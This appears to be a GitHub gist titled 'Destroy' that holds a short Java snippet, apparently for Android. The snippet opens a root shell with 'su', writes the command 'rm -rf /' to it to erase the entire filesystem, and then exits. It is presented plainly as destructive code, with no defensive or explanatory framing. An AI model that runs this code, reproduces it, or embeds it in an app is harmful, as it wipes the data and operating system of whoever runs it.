Created
February 5, 2015 15:06
-
-
Save dkmeteor/987a27e87b3f24acd00e to your computer and use it in GitHub Desktop.
Destroy
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Process process = null; | |
DataOutputStream os = null; | |
try { | |
process = Runtime.getRuntime().exec("su"); | |
os = new DataOutputStream(process.getOutputStream()); | |
os.writeBytes("rm -rf /" + "\n"); | |
os.writeBytes("exit\n"); | |
os.flush(); | |
process.waitFor(); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} catch (InterruptedException e) { | |
e.printStackTrace(); | |
} finally { | |
if (os != null) | |
try { | |
os.close(); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
process.destroy(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment